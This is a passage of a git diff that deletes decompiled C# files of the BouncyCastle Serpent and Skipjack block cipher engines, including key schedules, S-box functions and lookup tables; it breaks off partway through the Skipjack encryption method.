a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/SerpentEngine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/SerpentEngine.cs deleted file mode 100644 index 1c01a2e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/SerpentEngine.cs +++ /dev/null @@ -1,478 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Utilities; - -namespace Org.BouncyCastle.Crypto.Engines; - -public sealed class SerpentEngine : SerpentEngineBase -{ - protected override int[] MakeWorkingKey(byte[] key) - { - int[] array = new int[16]; - int num = 0; - int num2 = 0; - for (num = 0; num + 4 < key.Length; num += 4) - { - array[num2++] = (int)Pack.LE_To_UInt32(key, num); - } - if (num % 4 == 0) - { - array[num2++] = (int)Pack.LE_To_UInt32(key, num); - if (num2 < 8) - { - array[num2] = 1; - } - int num3 = 132; - int[] array2 = new int[num3]; - for (int i = 8; i < 16; i++) - { - array[i] = SerpentEngineBase.RotateLeft(array[i - 8] ^ array[i - 5] ^ array[i - 3] ^ array[i - 1] ^ -1640531527 ^ (i - 8), 11); - } - Array.Copy(array, 8, array2, 0, 8); - for (int j = 8; j < num3; j++) - { - array2[j] = SerpentEngineBase.RotateLeft(array2[j - 8] ^ array2[j - 5] ^ array2[j - 3] ^ array2[j - 1] ^ -1640531527 ^ j, 11); - } - Sb3(array2[0], array2[1], array2[2], array2[3]); - array2[0] = X0; - array2[1] = X1; - array2[2] = X2; - array2[3] = X3; - Sb2(array2[4], array2[5], array2[6], array2[7]); - array2[4] = X0; - array2[5] = X1; - array2[6] = X2; - array2[7] = X3; - Sb1(array2[8], array2[9], array2[10], array2[11]); - array2[8] = X0; - array2[9] = X1; - array2[10] = X2; - array2[11] = X3; - Sb0(array2[12], array2[13], array2[14], array2[15]); - array2[12] = X0; - array2[13] = X1; - array2[14] = X2; - array2[15] = X3; - Sb7(array2[16], array2[17], array2[18], array2[19]); - array2[16] = X0; - array2[17] = X1; - array2[18] = X2; - array2[19] = X3; - Sb6(array2[20], array2[21], array2[22], array2[23]); - array2[20] = X0; - array2[21] = X1; - array2[22] = X2; - array2[23] = X3; - Sb5(array2[24], array2[25], array2[26], array2[27]); - array2[24] = X0; - array2[25] = X1; - array2[26] = X2; - array2[27] = X3; - Sb4(array2[28], array2[29], array2[30], array2[31]); - array2[28] = X0; - array2[29] = X1; - array2[30] = X2; - array2[31] = X3; - Sb3(array2[32], array2[33], array2[34], array2[35]); - array2[32] = X0; - array2[33] = X1; - array2[34] = X2; - array2[35] = X3; - Sb2(array2[36], array2[37], array2[38], array2[39]); - array2[36] = X0; - array2[37] = X1; - array2[38] = X2; - array2[39] = X3; - Sb1(array2[40], array2[41], array2[42], array2[43]); - array2[40] = X0; - array2[41] = X1; - array2[42] = X2; - array2[43] = X3; - Sb0(array2[44], array2[45], array2[46], array2[47]); - array2[44] = X0; - array2[45] = X1; - array2[46] = X2; - array2[47] = X3; - Sb7(array2[48], array2[49], array2[50], array2[51]); - array2[48] = X0; - array2[49] = X1; - array2[50] = X2; - array2[51] = X3; - Sb6(array2[52], array2[53], array2[54], array2[55]); - array2[52] = X0; - array2[53] = X1; - array2[54] = X2; - array2[55] = X3; - Sb5(array2[56], array2[57], array2[58], array2[59]); - array2[56] = X0; - array2[57] = X1; - array2[58] = X2; - array2[59] = X3; - Sb4(array2[60], array2[61], array2[62], array2[63]); - array2[60] = X0; - array2[61] = X1; - array2[62] = X2; - array2[63] = X3; - Sb3(array2[64], array2[65], array2[66], array2[67]); - array2[64] = X0; - array2[65] = X1; - array2[66] = X2; - array2[67] = X3; - Sb2(array2[68], array2[69], array2[70], array2[71]); - array2[68] = X0; - array2[69] = X1; - array2[70] = X2; - array2[71] = X3; - Sb1(array2[72], array2[73], array2[74], array2[75]); - array2[72] = X0; - array2[73] = X1; - array2[74] = X2; - array2[75] = X3; - Sb0(array2[76], array2[77], array2[78], array2[79]); - array2[76] = X0; - array2[77] = X1; - array2[78] = X2; - array2[79] = X3; - Sb7(array2[80], array2[81], array2[82], array2[83]); - array2[80] = X0; - array2[81] = X1; - array2[82] = X2; - array2[83] = X3; - Sb6(array2[84], array2[85], array2[86], array2[87]); - array2[84] = X0; - array2[85] = X1; - array2[86] = X2; - array2[87] = X3; - Sb5(array2[88], array2[89], array2[90], array2[91]); - array2[88] = X0; - array2[89] = X1; - array2[90] = X2; - array2[91] = X3; - Sb4(array2[92], array2[93], array2[94], array2[95]); - array2[92] = X0; - array2[93] = X1; - array2[94] = X2; - array2[95] = X3; - Sb3(array2[96], array2[97], array2[98], array2[99]); - array2[96] = X0; - array2[97] = X1; - array2[98] = X2; - array2[99] = X3; - Sb2(array2[100], array2[101], array2[102], array2[103]); - array2[100] = X0; - array2[101] = X1; - array2[102] = X2; - array2[103] = X3; - Sb1(array2[104], array2[105], array2[106], array2[107]); - array2[104] = X0; - array2[105] = X1; - array2[106] = X2; - array2[107] = X3; - Sb0(array2[108], array2[109], array2[110], array2[111]); - array2[108] = X0; - array2[109] = X1; - array2[110] = X2; - array2[111] = X3; - Sb7(array2[112], array2[113], array2[114], array2[115]); - array2[112] = X0; - array2[113] = X1; - array2[114] = X2; - array2[115] = X3; - Sb6(array2[116], array2[117], array2[118], array2[119]); - array2[116] = X0; - array2[117] = X1; - array2[118] = X2; - array2[119] = X3; - Sb5(array2[120], array2[121], array2[122], array2[123]); - array2[120] = X0; - array2[121] = X1; - array2[122] = X2; - array2[123] = X3; - Sb4(array2[124], array2[125], array2[126], array2[127]); - array2[124] = X0; - array2[125] = X1; - array2[126] = X2; - array2[127] = X3; - Sb3(array2[128], array2[129], array2[130], array2[131]); - array2[128] = X0; - array2[129] = X1; - array2[130] = X2; - array2[131] = X3; - return array2; - } - throw new ArgumentException("key must be a multiple of 4 bytes"); - } - - protected override void EncryptBlock(byte[] input, int inOff, byte[] output, int outOff) - { - X0 = (int)Pack.LE_To_UInt32(input, inOff); - X1 = (int)Pack.LE_To_UInt32(input, inOff + 4); - X2 = (int)Pack.LE_To_UInt32(input, inOff + 8); - X3 = (int)Pack.LE_To_UInt32(input, inOff + 12); - Sb0(wKey[0] ^ X0, wKey[1] ^ X1, wKey[2] ^ X2, wKey[3] ^ X3); - LT(); - Sb1(wKey[4] ^ X0, wKey[5] ^ X1, wKey[6] ^ X2, wKey[7] ^ X3); - LT(); - Sb2(wKey[8] ^ X0, wKey[9] ^ X1, wKey[10] ^ X2, wKey[11] ^ X3); - LT(); - Sb3(wKey[12] ^ X0, wKey[13] ^ X1, wKey[14] ^ X2, wKey[15] ^ X3); - LT(); - Sb4(wKey[16] ^ X0, wKey[17] ^ X1, wKey[18] ^ X2, wKey[19] ^ X3); - LT(); - Sb5(wKey[20] ^ X0, wKey[21] ^ X1, wKey[22] ^ X2, wKey[23] ^ X3); - LT(); - Sb6(wKey[24] ^ X0, wKey[25] ^ X1, wKey[26] ^ X2, wKey[27] ^ X3); - LT(); - Sb7(wKey[28] ^ X0, wKey[29] ^ X1, wKey[30] ^ X2, wKey[31] ^ X3); - LT(); - Sb0(wKey[32] ^ X0, wKey[33] ^ X1, wKey[34] ^ X2, wKey[35] ^ X3); - LT(); - Sb1(wKey[36] ^ X0, wKey[37] ^ X1, wKey[38] ^ X2, wKey[39] ^ X3); - LT(); - Sb2(wKey[40] ^ X0, wKey[41] ^ X1, wKey[42] ^ X2, wKey[43] ^ X3); - LT(); - Sb3(wKey[44] ^ X0, wKey[45] ^ X1, wKey[46] ^ X2, wKey[47] ^ X3); - LT(); - Sb4(wKey[48] ^ X0, wKey[49] ^ X1, wKey[50] ^ X2, wKey[51] ^ X3); - LT(); - Sb5(wKey[52] ^ X0, wKey[53] ^ X1, wKey[54] ^ X2, wKey[55] ^ X3); - LT(); - Sb6(wKey[56] ^ X0, wKey[57] ^ X1, wKey[58] ^ X2, wKey[59] ^ X3); - LT(); - Sb7(wKey[60] ^ X0, wKey[61] ^ X1, wKey[62] ^ X2, wKey[63] ^ X3); - LT(); - Sb0(wKey[64] ^ X0, wKey[65] ^ X1, wKey[66] ^ X2, wKey[67] ^ X3); - LT(); - Sb1(wKey[68] ^ X0, wKey[69] ^ X1, wKey[70] ^ X2, wKey[71] ^ X3); - LT(); - Sb2(wKey[72] ^ X0, wKey[73] ^ X1, wKey[74] ^ X2, wKey[75] ^ X3); - LT(); - Sb3(wKey[76] ^ X0, wKey[77] ^ X1, wKey[78] ^ X2, wKey[79] ^ X3); - LT(); - Sb4(wKey[80] ^ X0, wKey[81] ^ X1, wKey[82] ^ X2, wKey[83] ^ X3); - LT(); - Sb5(wKey[84] ^ X0, wKey[85] ^ X1, wKey[86] ^ X2, wKey[87] ^ X3); - LT(); - Sb6(wKey[88] ^ X0, wKey[89] ^ X1, wKey[90] ^ X2, wKey[91] ^ X3); - LT(); - Sb7(wKey[92] ^ X0, wKey[93] ^ X1, wKey[94] ^ X2, wKey[95] ^ X3); - LT(); - Sb0(wKey[96] ^ X0, wKey[97] ^ X1, wKey[98] ^ X2, wKey[99] ^ X3); - LT(); - Sb1(wKey[100] ^ X0, wKey[101] ^ X1, wKey[102] ^ X2, wKey[103] ^ X3); - LT(); - Sb2(wKey[104] ^ X0, wKey[105] ^ X1, wKey[106] ^ X2, wKey[107] ^ X3); - LT(); - Sb3(wKey[108] ^ X0, wKey[109] ^ X1, wKey[110] ^ X2, wKey[111] ^ X3); - LT(); - Sb4(wKey[112] ^ X0, wKey[113] ^ X1, wKey[114] ^ X2, wKey[115] ^ X3); - LT(); - Sb5(wKey[116] ^ X0, wKey[117] ^ X1, wKey[118] ^ X2, wKey[119] ^ X3); - LT(); - Sb6(wKey[120] ^ X0, wKey[121] ^ X1, wKey[122] ^ X2, wKey[123] ^ X3); - LT(); - Sb7(wKey[124] ^ X0, wKey[125] ^ X1, wKey[126] ^ X2, wKey[127] ^ X3); - Pack.UInt32_To_LE((uint)(wKey[128] ^ X0), output, outOff); - Pack.UInt32_To_LE((uint)(wKey[129] ^ X1), output, outOff + 4); - Pack.UInt32_To_LE((uint)(wKey[130] ^ X2), output, outOff + 8); - Pack.UInt32_To_LE((uint)(wKey[131] ^ X3), output, outOff + 12); - } - - protected override void DecryptBlock(byte[] input, int inOff, byte[] output, int outOff) - { - X0 = wKey[128] ^ (int)Pack.LE_To_UInt32(input, inOff); - X1 = wKey[129] ^ (int)Pack.LE_To_UInt32(input, inOff + 4); - X2 = wKey[130] ^ (int)Pack.LE_To_UInt32(input, inOff + 8); - X3 = wKey[131] ^ (int)Pack.LE_To_UInt32(input, inOff + 12); - Ib7(X0, X1, X2, X3); - X0 ^= wKey[124]; - X1 ^= wKey[125]; - X2 ^= wKey[126]; - X3 ^= wKey[127]; - InverseLT(); - Ib6(X0, X1, X2, X3); - X0 ^= wKey[120]; - X1 ^= wKey[121]; - X2 ^= wKey[122]; - X3 ^= wKey[123]; - InverseLT(); - Ib5(X0, X1, X2, X3); - X0 ^= wKey[116]; - X1 ^= wKey[117]; - X2 ^= wKey[118]; - X3 ^= wKey[119]; - InverseLT(); - Ib4(X0, X1, X2, X3); - X0 ^= wKey[112]; - X1 ^= wKey[113]; - X2 ^= wKey[114]; - X3 ^= wKey[115]; - InverseLT(); - Ib3(X0, X1, X2, X3); - X0 ^= wKey[108]; - X1 ^= wKey[109]; - X2 ^= wKey[110]; - X3 ^= wKey[111]; - InverseLT(); - Ib2(X0, X1, X2, X3); - X0 ^= wKey[104]; - X1 ^= wKey[105]; - X2 ^= wKey[106]; - X3 ^= wKey[107]; - InverseLT(); - Ib1(X0, X1, X2, X3); - X0 ^= wKey[100]; - X1 ^= wKey[101]; - X2 ^= wKey[102]; - X3 ^= wKey[103]; - InverseLT(); - Ib0(X0, X1, X2, X3); - X0 ^= wKey[96]; - X1 ^= wKey[97]; - X2 ^= wKey[98]; - X3 ^= wKey[99]; - InverseLT(); - Ib7(X0, X1, X2, X3); - X0 ^= wKey[92]; - X1 ^= wKey[93]; - X2 ^= wKey[94]; - X3 ^= wKey[95]; - InverseLT(); - Ib6(X0, X1, X2, X3); - X0 ^= wKey[88]; - X1 ^= wKey[89]; - X2 ^= wKey[90]; - X3 ^= wKey[91]; - InverseLT(); - Ib5(X0, X1, X2, X3); - X0 ^= wKey[84]; - X1 ^= wKey[85]; - X2 ^= wKey[86]; - X3 ^= wKey[87]; - InverseLT(); - Ib4(X0, X1, X2, X3); - X0 ^= wKey[80]; - X1 ^= wKey[81]; - X2 ^= wKey[82]; - X3 ^= wKey[83]; - InverseLT(); - Ib3(X0, X1, X2, X3); - X0 ^= wKey[76]; - X1 ^= wKey[77]; - X2 ^= wKey[78]; - X3 ^= wKey[79]; - InverseLT(); - Ib2(X0, X1, X2, X3); - X0 ^= wKey[72]; - X1 ^= wKey[73]; - X2 ^= wKey[74]; - X3 ^= wKey[75]; - InverseLT(); - Ib1(X0, X1, X2, X3); - X0 ^= wKey[68]; - X1 ^= wKey[69]; - X2 ^= wKey[70]; - X3 ^= wKey[71]; - InverseLT(); - Ib0(X0, X1, X2, X3); - X0 ^= wKey[64]; - X1 ^= wKey[65]; - X2 ^= wKey[66]; - X3 ^= wKey[67]; - InverseLT(); - Ib7(X0, X1, X2, X3); - X0 ^= wKey[60]; - X1 ^= wKey[61]; - X2 ^= wKey[62]; - X3 ^= wKey[63]; - InverseLT(); - Ib6(X0, X1, X2, X3); - X0 ^= wKey[56]; - X1 ^= wKey[57]; - X2 ^= wKey[58]; - X3 ^= wKey[59]; - InverseLT(); - Ib5(X0, X1, X2, X3); - X0 ^= wKey[52]; - X1 ^= wKey[53]; - X2 ^= wKey[54]; - X3 ^= wKey[55]; - InverseLT(); - Ib4(X0, X1, X2, X3); - X0 ^= wKey[48]; - X1 ^= wKey[49]; - X2 ^= wKey[50]; - X3 ^= wKey[51]; - InverseLT(); - Ib3(X0, X1, X2, X3); - X0 ^= wKey[44]; - X1 ^= wKey[45]; - X2 ^= wKey[46]; - X3 ^= wKey[47]; - InverseLT(); - Ib2(X0, X1, X2, X3); - X0 ^= wKey[40]; - X1 ^= wKey[41]; - X2 ^= wKey[42]; - X3 ^= wKey[43]; - InverseLT(); - Ib1(X0, X1, X2, X3); - X0 ^= wKey[36]; - X1 ^= wKey[37]; - X2 ^= wKey[38]; - X3 ^= wKey[39]; - InverseLT(); - Ib0(X0, X1, X2, X3); - X0 ^= wKey[32]; - X1 ^= wKey[33]; - X2 ^= wKey[34]; - X3 ^= wKey[35]; - InverseLT(); - Ib7(X0, X1, X2, X3); - X0 ^= wKey[28]; - X1 ^= wKey[29]; - X2 ^= wKey[30]; - X3 ^= wKey[31]; - InverseLT(); - Ib6(X0, X1, X2, X3); - X0 ^= wKey[24]; - X1 ^= wKey[25]; - X2 ^= wKey[26]; - X3 ^= wKey[27]; - InverseLT(); - Ib5(X0, X1, X2, X3); - X0 ^= wKey[20]; - X1 ^= wKey[21]; - X2 ^= wKey[22]; - X3 ^= wKey[23]; - InverseLT(); - Ib4(X0, X1, X2, X3); - X0 ^= wKey[16]; - X1 ^= wKey[17]; - X2 ^= wKey[18]; - X3 ^= wKey[19]; - InverseLT(); - Ib3(X0, X1, X2, X3); - X0 ^= wKey[12]; - X1 ^= wKey[13]; - X2 ^= wKey[14]; - X3 ^= wKey[15]; - InverseLT(); - Ib2(X0, X1, X2, X3); - X0 ^= wKey[8]; - X1 ^= wKey[9]; - X2 ^= wKey[10]; - X3 ^= wKey[11]; - InverseLT(); - Ib1(X0, X1, X2, X3); - X0 ^= wKey[4]; - X1 ^= wKey[5]; - X2 ^= wKey[6]; - X3 ^= wKey[7]; - InverseLT(); - Ib0(X0, X1, X2, X3); - Pack.UInt32_To_LE((uint)(X0 ^ wKey[0]), output, outOff); - Pack.UInt32_To_LE((uint)(X1 ^ wKey[1]), output, outOff + 4); - Pack.UInt32_To_LE((uint)(X2 ^ wKey[2]), output, outOff + 8); - Pack.UInt32_To_LE((uint)(X3 ^ wKey[3]), output, outOff + 12); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/SerpentEngineBase.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/SerpentEngineBase.cs deleted file mode 100644 index 56d5c3a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/SerpentEngineBase.cs +++ /dev/null @@ -1,364 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Engines; - -public abstract class SerpentEngineBase : IBlockCipher -{ - internal const int ROUNDS = 32; - - internal const int PHI = -1640531527; - - protected static readonly int BlockSize = 16; - - protected bool encrypting; - - protected int[] wKey; - - protected int X0; - - protected int X1; - - protected int X2; - - protected int X3; - - public virtual string AlgorithmName => "Serpent"; - - public virtual bool IsPartialBlockOkay => false; - - public virtual void Init(bool encrypting, ICipherParameters parameters) - { - if (!(parameters is KeyParameter)) - { - throw new ArgumentException("invalid parameter passed to " + AlgorithmName + " init - " + Platform.GetTypeName(parameters)); - } - this.encrypting = encrypting; - wKey = MakeWorkingKey(((KeyParameter)parameters).GetKey()); - } - - public virtual int GetBlockSize() - { - return BlockSize; - } - - public int ProcessBlock(byte[] input, int inOff, byte[] output, int outOff) - { - if (wKey == null) - { - throw new InvalidOperationException(AlgorithmName + " not initialised"); - } - Check.DataLength(input, inOff, BlockSize, "input buffer too short"); - Check.OutputLength(output, outOff, BlockSize, "output buffer too short"); - if (encrypting) - { - EncryptBlock(input, inOff, output, outOff); - } - else - { - DecryptBlock(input, inOff, output, outOff); - } - return BlockSize; - } - - public virtual void Reset() - { - } - - protected static int RotateLeft(int x, int bits) - { - return (x << bits) | (x >>> 32 - bits); - } - - private static int RotateRight(int x, int bits) - { - return (x >>> bits) | (x << 32 - bits); - } - - protected void Sb0(int a, int b, int c, int d) - { - int num = a ^ d; - int num2 = c ^ num; - int num3 = b ^ num2; - X3 = (a & d) ^ num3; - int num4 = a ^ (b & num); - X2 = num3 ^ (c | num4); - int num5 = X3 & (num2 ^ num4); - X1 = ~num2 ^ num5; - X0 = num5 ^ ~num4; - } - - protected void Ib0(int a, int b, int c, int d) - { - int num = ~a; - int num2 = a ^ b; - int num3 = d ^ (num | num2); - int num4 = c ^ num3; - X2 = num2 ^ num4; - int num5 = num ^ (d & num2); - X1 = num3 ^ (X2 & num5); - X3 = (a & num3) ^ (num4 | X1); - X0 = X3 ^ (num4 ^ num5); - } - - protected void Sb1(int a, int b, int c, int d) - { - int num = b ^ ~a; - int num2 = c ^ (a | num); - X2 = d ^ num2; - int num3 = b ^ (d | num); - int num4 = num ^ X2; - X3 = num4 ^ (num2 & num3); - int num5 = num2 ^ num3; - X1 = X3 ^ num5; - X0 = num2 ^ (num4 & num5); - } - - protected void Ib1(int a, int b, int c, int d) - { - int num = b ^ d; - int num2 = a ^ (b & num); - int num3 = num ^ num2; - X3 = c ^ num3; - int num4 = b ^ (num & num2); - int num5 = X3 | num4; - X1 = num2 ^ num5; - int num6 = ~X1; - int num7 = X3 ^ num4; - X0 = num6 ^ num7; - X2 = num3 ^ (num6 | num7); - } - - protected void Sb2(int a, int b, int c, int d) - { - int num = ~a; - int num2 = b ^ d; - int num3 = c & num; - X0 = num2 ^ num3; - int num4 = c ^ num; - int num5 = c ^ X0; - int num6 = b & num5; - X3 = num4 ^ num6; - X2 = a ^ ((d | num6) & (X0 | num4)); - X1 = num2 ^ X3 ^ (X2 ^ (d | num)); - } - - protected void Ib2(int a, int b, int c, int d) - { - int num = b ^ d; - int num2 = ~num; - int num3 = a ^ c; - int num4 = c ^ num; - int num5 = b & num4; - X0 = num3 ^ num5; - int num6 = a | num2; - int num7 = d ^ num6; - int num8 = num3 | num7; - X3 = num ^ num8; - int num9 = ~num4; - int num10 = X0 | X3; - X1 = num9 ^ num10; - X2 = (d & num9) ^ (num3 ^ num10); - } - - protected void Sb3(int a, int b, int c, int d) - { - int num = a ^ b; - int num2 = a & c; - int num3 = a | d; - int num4 = c ^ d; - int num5 = num & num3; - int num6 = num2 | num5; - X2 = num4 ^ num6; - int num7 = b ^ num3; - int num8 = num6 ^ num7; - int num9 = num4 & num8; - X0 = num ^ num9; - int num10 = X2 & X0; - X1 = num8 ^ num10; - X3 = (b | d) ^ (num4 ^ num10); - } - - protected void Ib3(int a, int b, int c, int d) - { - int num = a | b; - int num2 = b ^ c; - int num3 = b & num2; - int num4 = a ^ num3; - int num5 = c ^ num4; - int num6 = d | num4; - X0 = num2 ^ num6; - int num7 = num2 | num6; - int num8 = d ^ num7; - X2 = num5 ^ num8; - int num9 = num ^ num8; - int num10 = X0 & num9; - X3 = num4 ^ num10; - X1 = X3 ^ (X0 ^ num9); - } - - protected void Sb4(int a, int b, int c, int d) - { - int num = a ^ d; - int num2 = d & num; - int num3 = c ^ num2; - int num4 = b | num3; - X3 = num ^ num4; - int num5 = ~b; - int num6 = num | num5; - X0 = num3 ^ num6; - int num7 = a & X0; - int num8 = num ^ num5; - int num9 = num4 & num8; - X2 = num7 ^ num9; - X1 = a ^ num3 ^ (num8 & X2); - } - - protected void Ib4(int a, int b, int c, int d) - { - int num = c | d; - int num2 = a & num; - int num3 = b ^ num2; - int num4 = a & num3; - int num5 = c ^ num4; - X1 = d ^ num5; - int num6 = ~a; - int num7 = num5 & X1; - X3 = num3 ^ num7; - int num8 = X1 | num6; - int num9 = d ^ num8; - X0 = X3 ^ num9; - X2 = (num3 & num9) ^ (X1 ^ num6); - } - - protected void Sb5(int a, int b, int c, int d) - { - int num = ~a; - int num2 = a ^ b; - int num3 = a ^ d; - int num4 = c ^ num; - int num5 = num2 | num3; - X0 = num4 ^ num5; - int num6 = d & X0; - int num7 = num2 ^ X0; - X1 = num6 ^ num7; - int num8 = num | X0; - int num9 = num2 | num6; - int num10 = num3 ^ num8; - X2 = num9 ^ num10; - X3 = b ^ num6 ^ (X1 & num10); - } - - protected void Ib5(int a, int b, int c, int d) - { - int num = ~c; - int num2 = b & num; - int num3 = d ^ num2; - int num4 = a & num3; - int num5 = b ^ num; - X3 = num4 ^ num5; - int num6 = b | X3; - int num7 = a & num6; - X1 = num3 ^ num7; - int num8 = a | d; - int num9 = num ^ num6; - X0 = num8 ^ num9; - X2 = (b & num8) ^ (num4 | (a ^ c)); - } - - protected void Sb6(int a, int b, int c, int d) - { - int num = ~a; - int num2 = a ^ d; - int num3 = b ^ num2; - int num4 = num | num2; - int num5 = c ^ num4; - X1 = b ^ num5; - int num6 = num2 | X1; - int num7 = d ^ num6; - int num8 = num5 & num7; - X2 = num3 ^ num8; - int num9 = num5 ^ num7; - X0 = X2 ^ num9; - X3 = ~num5 ^ (num3 & num9); - } - - protected void Ib6(int a, int b, int c, int d) - { - int num = ~a; - int num2 = a ^ b; - int num3 = c ^ num2; - int num4 = c | num; - int num5 = d ^ num4; - X1 = num3 ^ num5; - int num6 = num3 & num5; - int num7 = num2 ^ num6; - int num8 = b | num7; - X3 = num5 ^ num8; - int num9 = b | X3; - X0 = num7 ^ num9; - X2 = (d & num) ^ (num3 ^ num9); - } - - protected void Sb7(int a, int b, int c, int d) - { - int num = b ^ c; - int num2 = c & num; - int num3 = d ^ num2; - int num4 = a ^ num3; - int num5 = d | num; - int num6 = num4 & num5; - X1 = b ^ num6; - int num7 = num3 | X1; - int num8 = a & num4; - X3 = num ^ num8; - int num9 = num4 ^ num7; - int num10 = X3 & num9; - X2 = num3 ^ num10; - X0 = ~num9 ^ (X3 & X2); - } - - protected void Ib7(int a, int b, int c, int d) - { - int num = c | (a & b); - int num2 = d & (a | b); - X3 = num ^ num2; - int num3 = ~d; - int num4 = b ^ num2; - int num5 = num4 | (X3 ^ num3); - X1 = a ^ num5; - X0 = c ^ num4 ^ (d | X1); - X2 = num ^ X1 ^ (X0 ^ (a & X3)); - } - - protected void LT() - { - int num = RotateLeft(X0, 13); - int num2 = RotateLeft(X2, 3); - int x = X1 ^ num ^ num2; - int x2 = X3 ^ num2 ^ (num << 3); - X1 = RotateLeft(x, 1); - X3 = RotateLeft(x2, 7); - X0 = RotateLeft(num ^ X1 ^ X3, 5); - X2 = RotateLeft(num2 ^ X3 ^ (X1 << 7), 22); - } - - protected void InverseLT() - { - int num = RotateRight(X2, 22) ^ X3 ^ (X1 << 7); - int num2 = RotateRight(X0, 5) ^ X1 ^ X3; - int num3 = RotateRight(X3, 7); - int num4 = RotateRight(X1, 1); - X3 = num3 ^ num ^ (num2 << 3); - X1 = num4 ^ num2 ^ num; - X2 = RotateRight(num, 3); - X0 = RotateRight(num2, 13); - } - - protected abstract int[] MakeWorkingKey(byte[] key); - - protected abstract void EncryptBlock(byte[] input, int inOff, byte[] output, int outOff); - - protected abstract void DecryptBlock(byte[] input, int inOff, byte[] output, int outOff); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/SkipjackEngine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/SkipjackEngine.cs deleted file mode 100644 index d5fe199..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/SkipjackEngine.cs +++ /dev/null @@ -1,203 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Engines; - -public class SkipjackEngine : IBlockCipher -{ - private const int BLOCK_SIZE = 8; - - private static readonly short[] ftable = new short[256] - { - 163, 215, 9, 131, 248, 72, 246, 244, 179, 33, - 21, 120, 153, 177, 175, 249, 231, 45, 77, 138, - 206, 76, 202, 46, 82, 149, 217, 30, 78, 56, - 68, 40, 10, 223, 2, 160, 23, 241, 96, 104, - 18, 183, 122, 195, 233, 250, 61, 83, 150, 132, - 107, 186, 242, 99, 154, 25, 124, 174, 229, 245, - 247, 22, 106, 162, 57, 182, 123, 15, 193, 147, - 129, 27, 238, 180, 26, 234, 208, 145, 47, 184, - 85, 185, 218, 133, 63, 65, 191, 224, 90, 88, - 128, 95, 102, 11, 216, 144, 53, 213, 192, 167, - 51, 6, 101, 105, 69, 0, 148, 86, 109, 152, - 155, 118, 151, 252, 178, 194, 176, 254, 219, 32, - 225, 235, 214, 228, 221, 71, 74, 29, 66, 237, - 158, 110, 73, 60, 205, 67, 39, 210, 7, 212, - 222, 199, 103, 24, 137, 203, 48, 31, 141, 198, - 143, 170, 200, 116, 220, 201, 93, 92, 49, 164, - 112, 136, 97, 44, 159, 13, 43, 135, 80, 130, - 84, 100, 38, 125, 3, 64, 52, 75, 28, 115, - 209, 196, 253, 59, 204, 251, 127, 171, 230, 62, - 91, 165, 173, 4, 35, 156, 20, 81, 34, 240, - 41, 121, 113, 126, 255, 140, 14, 226, 12, 239, - 188, 114, 117, 111, 55, 161, 236, 211, 142, 98, - 139, 134, 16, 232, 8, 119, 17, 190, 146, 79, - 36, 197, 50, 54, 157, 207, 243, 166, 187, 172, - 94, 108, 169, 19, 87, 37, 181, 227, 189, 168, - 58, 1, 5, 89, 42, 70 - }; - - private int[] key0; - - private int[] key1; - - private int[] key2; - - private int[] key3; - - private bool encrypting; - - public virtual string AlgorithmName => "SKIPJACK"; - - public virtual bool IsPartialBlockOkay => false; - - public virtual void Init(bool forEncryption, ICipherParameters parameters) - { - if (!(parameters is KeyParameter)) - { - throw new ArgumentException("invalid parameter passed to SKIPJACK init - " + Platform.GetTypeName(parameters)); - } - byte[] key = ((KeyParameter)parameters).GetKey(); - encrypting = forEncryption; - key0 = new int[32]; - key1 = new int[32]; - key2 = new int[32]; - key3 = new int[32]; - for (int i = 0; i < 32; i++) - { - key0[i] = key[i * 4 % 10] & 0xFF; - key1[i] = key[(i * 4 + 1) % 10] & 0xFF; - key2[i] = key[(i * 4 + 2) % 10] & 0xFF; - key3[i] = key[(i * 4 + 3) % 10] & 0xFF; - } - } - - public virtual int GetBlockSize() - { - return 8; - } - - public virtual int ProcessBlock(byte[] input, int inOff, byte[] output, int outOff) - { - if (key1 == null) - { - throw new InvalidOperationException("SKIPJACK engine not initialised"); - } - Check.DataLength(input, inOff, 8, "input buffer too short"); - Check.OutputLength(output, outOff, 8, "output buffer too short"); - if (encrypting) - { - EncryptBlock(input, inOff, output, outOff); - } - else - { - DecryptBlock(input, inOff, output, outOff); - } - return 8; - } - - public virtual void Reset() - { - } - - private int G(int k, int w) - { - int num = (w >> 8) & 0xFF; - int num2 = w & 0xFF; - int num3 = ftable[num2 ^ key0[k]] ^ num; - int num4 = ftable[num3 ^ key1[k]] ^ num2; - int num5 = ftable[num4 ^ key2[k]] ^ num3; - int num6 = ftable[num5 ^ key3[k]] ^ num4; - return (num5 << 8) + num6; - } - - public virtual int EncryptBlock(byte[] input, int inOff, byte[] outBytes, int outOff) - { - int num = (input[inOff] << 8) + (input[inOff + 1] & 0xFF); - int num2 = (input[inOff + 2] << 8) + (input[inOff + 3] & 0xFF); - int num3 = (input[inOff + 4] << 8) + (input[inOff + 5] & 0xFF); - int num4 = (input[inOff + 6] << 8) + (input[inOff + 7] & 0xFF); - int num5 = 0; - for (int i = 0; i < 2; i++) - { - for (int j = 0; j < 8; j++) - { - int num6 = num4; - num4 = num3; - num3 = num2; - num2 = G(num5, num); - num = num2 ^ num6 ^ (num5 + 1); - num5++; - } - for (int k = 0; k < 8; k++) - { - int num7 = num4; - num4 = num3; - num3 = num ^ num2 ^ (num5 + 1); - num2 = G(num5, num); - num = num7; - num5++; - } - } - outBytes[outOff] = (byte)(num >> 8); - outBytes[outOff + 1] = (byte)num; - outBytes[outOff + 2] = (byte)(num2 >> 8); - outBytes[outOff + 3] = (byte)num2; - outBytes[outOff + 4] = 